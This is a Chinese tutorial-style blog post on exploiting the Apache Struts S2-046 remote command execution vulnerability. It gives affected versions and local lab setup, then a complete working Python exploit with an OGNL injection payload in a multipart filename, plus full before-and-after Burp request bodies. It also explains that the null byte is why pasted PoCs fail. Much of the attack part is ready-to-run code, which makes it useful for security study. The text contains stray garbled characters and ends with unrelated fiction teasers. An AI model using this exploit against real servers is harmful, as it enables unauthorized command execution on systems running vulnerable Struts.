Struts-S2-046漏洞利用散庶,解決網(wǎng)上大部分POC不能使用問題(含環(huán)境搭建)

Struts-S2-046

此文僅供大家交流學(xué)習(xí)蕉堰,嚴(yán)禁非法使用

一、參考網(wǎng)址:(視頻):

https://www.ichunqiu.com/course/57861

找一個(gè)好的教程不容易悲龟,找一個(gè)好的POC也不容易屋讶,Cry

教程網(wǎng)址:https://xianzhi.aliyun.com/forum/read/1414.html

二、 影響版本:

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 –Struts 2.5.10

三须教、 漏洞介紹:

Apache Struts 2被曝存在遠(yuǎn)程命令執(zhí)行漏洞皿渗,漏洞編號(hào)S2-046。在使用基于Jakarta插件的文件上傳功能時(shí)轻腺,滿足以下條件乐疆,會(huì)觸發(fā)遠(yuǎn)程命令執(zhí)行漏洞。

1.上傳文件的大斜嵫(由Content-Length頭指定)大于Struts2允許的最大大屑吠痢(2GB)。

2.文件名內(nèi)容構(gòu)造惡意的OGNL內(nèi)容误算。

本次S2-046漏洞遠(yuǎn)程命令執(zhí)行漏洞需滿足以上條件耕挨,而S2-045的漏洞只需要Content-Type一個(gè)點(diǎn)就可以進(jìn)行遠(yuǎn)程命令執(zhí)行。

對于已經(jīng)修復(fù)S2-045漏洞的用戶(升級(jí)Struts版本為Struts 2.3.31尉桩、Struts 2.5.10)不受此漏洞影響。

四贪庙、 環(huán)境搭建:

下載地址:http://archive.apache.org/dist/struts/2.3.24/
百度云鏈接:鏈接:http://pan.baidu.com/s/1dFeUyNv 密碼:279t

  • 下載安裝xampp

  • 部署showcase

1.png
  • 解壓
2.png
  • 復(fù)制到
3.png

重啟tomcat


4.png
  • 已成功自動(dòng)部署
5.png

五蜘犁、 POC:

#!/usr/bin/env python
# encoding:utf-8
import requests
import urllib
import httplib
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
class Sugarcrm():
    def poctest(self):
        proxies = {
            "http": "http://127.0.0.1:9090",
        }
        boundary="---------------------------735323031399963166993862150"
        paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        url = 'http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action'
        headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
        data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
        r=requests.post(url, headers=headers,data=data,proxies=proxies)
        print r._content
        #print requests.Response().content()
        #print requests.Response()


if __name__ == '__main__':
    test = Sugarcrm()
    test.poctest()

六、 腳本運(yùn)行結(jié)果

運(yùn)行結(jié)果.png

Burp做修改步驟為

七止邮、 測試數(shù)據(jù)包:

原數(shù)據(jù)包為

POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: 279

Cache-Control: max-age=0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://127.0.0.1:8080

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36

Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC

Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action

Accept-Language: zh-CN,zh;q=0.8

Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483

Connection: close

 

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition: form-data;
name="upload"; filename="2.txt"

Content-Type: text/plain

 

asd

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition: form-data;
name="caption"

 

1

------WebKitFormBoundarydqJWJav8muwL3UTC--

修改后為

POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: 1089

Cache-Control: max-age=0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://127.0.0.1:8080

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36

Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC

Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action

Accept-Language: zh-CN,zh;q=0.8

Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483

Connection: close

 

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition:
form-data; name="upload";
filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami**').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}**這里注意了**

Content-Type: text/plain

 

asd

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition: form-data;
name="caption"

 

1

------WebKitFormBoundarydqJWJav8muwL3UTC—

八这橙、 發(fā)現(xiàn)關(guān)鍵部分:

注意上面,那是不可復(fù)制內(nèi)容

注意方塊.png

注意到少了三個(gè)字符

3.png

后兩個(gè)字符可以理解导披,這個(gè)方塊是怎么回事那屈扎?而且經(jīng)過測試,這個(gè)方塊至關(guān)重要撩匕。復(fù)制一到方塊就停止鹰晨,且發(fā)現(xiàn)并不是因?yàn)榫幋a不合適才引起的,具體看一下十六進(jìn)制表(是就是網(wǎng)上視頻教程止毕,文檔教程的poc粘貼在burp中修改但不能成功的真正原因模蜡,

4.png

這是十六進(jìn)制表,發(fā)現(xiàn)方塊沒了扁凛。忍疾。。

再自習(xí)看谨朝,}和b之前卤妒,也就是7d和62之間是00甥绿,發(fā)現(xiàn)問題了,這個(gè)00就是之
前顯示的方塊

再回頭看網(wǎng)上教程则披,講到filename存在空字節(jié)情況共缕,這下知道空字節(jié)什么意思了。

但是收叶,還有一個(gè)疑問骄呼,簡單的python的post請求為什么會(huì)制造出空字節(jié),而且不管是data還是python也沒有故意制造空字節(jié)和b判没。這個(gè)問題待以后解決蜓萄。

九、 至此澄峰,該漏洞基本利用完畢

本人還是一個(gè)未畢業(yè)的小萌新嫉沽,希望大家多多幫助,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激俏竞,我也會(huì)盡量去幫助大家

堅(jiān)決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末绸硕,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子魂毁,更是在濱河造成了極大的恐慌玻佩,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,204評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件席楚,死亡現(xiàn)場離奇詭異咬崔,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)烦秩,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,091評論 3 395
  • 文/潘曉璐 我一進(jìn)店門垮斯,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人只祠,你說我怎么就攤上這事兜蠕。” “怎么了抛寝?”我有些...
    開封第一講書人閱讀 164,548評論 0 354
  • 文/不壞的土叔 我叫張陵熊杨,是天一觀的道長。 經(jīng)常有香客問我盗舰,道長猴凹,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,657評論 1 293
  • 正文 為了忘掉前任岭皂,我火速辦了婚禮郊霎,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘爷绘。我一直安慰自己书劝,他們只是感情好进倍,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,689評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著购对,像睡著了一般猾昆。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上骡苞,一...
    開封第一講書人閱讀 51,554評論 1 305
  • 那天垂蜗,我揣著相機(jī)與錄音,去河邊找鬼解幽。 笑死贴见,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的躲株。 我是一名探鬼主播片部,決...
    沈念sama閱讀 40,302評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼霜定!你這毒婦竟也來了档悠?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,216評論 0 276
  • 序言:老撾萬榮一對情侶失蹤望浩,失蹤者是張志新(化名)和其女友劉穎辖所,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體磨德,經(jīng)...
    沈念sama閱讀 45,661評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡缘回,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,851評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了剖张。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,977評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡揩环,死狀恐怖搔弄,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情丰滑,我是刑警寧澤顾犹,帶...
    沈念sama閱讀 35,697評論 5 347
  • 正文 年R本政府宣布,位于F島的核電站褒墨,受9級(jí)特大地震影響炫刷,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜郁妈,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,306評論 3 330
  • 文/蒙蒙 一浑玛、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧噩咪,春花似錦顾彰、人聲如沸极阅。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,898評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽筋搏。三九已至,卻和暖如春厕隧,著一層夾襖步出監(jiān)牢的瞬間奔脐,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,019評論 1 270
  • 我被黑心中介騙來泰國打工吁讨, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留髓迎,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,138評論 3 370
  • 正文 我出身青樓挡爵,卻偏偏與公主長得像竖般,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子茶鹃,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,927評論 2 355

推薦閱讀更多精彩內(nèi)容